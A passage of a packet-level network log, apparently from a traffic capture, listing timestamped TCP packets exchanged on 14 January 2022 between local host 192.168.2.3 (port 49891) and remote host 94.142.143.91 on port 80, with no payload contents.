Jan 14, 2022 04:59:55.154989958 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155025959 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155056000 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155065060 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155103922 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155139923 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155153990 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155179024 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155196905 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155217886 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155253887 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155268908 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155292988 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155329943 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155368090 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155381918 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155406952 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155438900 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155443907 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155483007 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155520916 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155529976 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155558109 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155596972 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155635118 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155651093 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155673027 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155713081 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155747890 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155761957 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155787945 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155826092 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155841112 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155863047 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155900002 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155936956 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.155960083 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.155977011 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.156017065 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.156053066 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.156069994 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.156091928 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.156105042 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.156131029 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.156167030 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.156204939 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.156260014 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.204734087 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.204790115 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.204828024 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.204866886 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.204881907 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.204907894 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.204926968 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.204950094 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.205466986 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.212485075 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.212527990 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213004112 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.213341951 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213387012 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213426113 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213465929 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213505030 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213506937 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.213542938 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213581085 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213597059 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.213619947 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213660002 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213700056 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213701010 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.213737011 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213776112 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213814974 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213854074 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.213879108 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213918924 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213953972 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.213958979 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.213999987 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214039087 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214077950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214092970 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214114904 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214152098 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214190006 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214211941 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214227915 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214266062 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214301109 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214317083 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214339018 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214376926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214385986 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214413881 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214451075 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214468956 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214488029 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214524984 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214560986 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214598894 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214611053 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214637041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214674950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214710951 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214747906 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214765072 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214786053 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214826107 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214864016 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.214880943 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.214910984 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.262053967 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.262111902 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.262150049 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.262187958 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.262291908 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.262339115 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.269298077 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.269340038 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.269376993 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.269485950 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271023035 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271064997 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271105051 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271142960 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271171093 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271182060 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271184921 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271220922 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271256924 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271258116 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271298885 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271337032 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271375895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271415949 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271415949 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271426916 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271455050 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271464109 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271496058 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271536112 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271573067 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271614075 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271621943 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271655083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271693945 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271732092 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271745920 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271770000 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271807909 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271815062 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271847963 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271883965 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271923065 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.271943092 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.271961927 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272000074 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272038937 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272052050 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272074938 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272114038 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272129059 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272152901 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272188902 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272192001 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272228003 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272265911 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272267103 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272305965 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272345066 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272381067 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272419930 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272432089 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272442102 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272458076 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272461891 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272495985 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272533894 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272547007 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.272572041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272610903 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.272666931 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.318732023 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.318787098 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.318826914 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.318865061 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.318905115 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.318943024 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.318953991 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.318983078 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.318996906 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319005966 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319040060 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319077015 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319118023 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319147110 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319156885 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319195032 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319233894 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319247961 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319272995 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319309950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319350004 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319366932 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319386005 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319423914 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319461107 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319473982 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319499016 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319536924 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319562912 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319597006 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319600105 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319639921 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319653988 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319677114 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319715023 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319752932 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319773912 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319789886 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319796085 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319828987 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319869041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319880962 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.319907904 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319947958 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.319988012 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320010900 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320025921 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320065022 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320101023 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320116997 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320138931 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320178032 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320215940 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320230007 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320255995 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320292950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320317030 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320329905 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320329905 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320369005 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320405006 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320419073 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320442915 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320480108 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320518017 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320555925 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320589066 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320591927 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320605993 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320631981 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320669889 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320683956 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320707083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320725918 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320744991 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320782900 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320799112 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.320822001 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.320991993 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.325844049 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.325927019 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.326060057 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.326201916 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329200983 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329241037 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329279900 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329318047 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329328060 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329356909 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329359055 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329399109 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329436064 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329468966 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329474926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329493046 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329514980 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329551935 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329591990 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329603910 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329629898 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329658985 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329699993 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329719067 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329737902 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329777956 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329817057 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329830885 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.329894066 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329931021 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329971075 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.329998970 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.330009937 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330046892 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330084085 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330102921 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.330121994 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330122948 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.330159903 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330199003 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330234051 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330271006 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330285072 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.330308914 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330344915 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330382109 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330419064 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330432892 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.330457926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330496073 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330532074 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330570936 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330586910 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.330609083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330645084 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330682039 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330715895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.330734968 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.330754995 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.332711935 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377170086 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377226114 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377266884 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377305031 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377321959 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377343893 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377361059 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377387047 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377425909 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377453089 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377465963 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377507925 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377525091 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377547979 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377587080 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377625942 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377628088 CET	49891	80	192.168.2.3	94.142.143.91
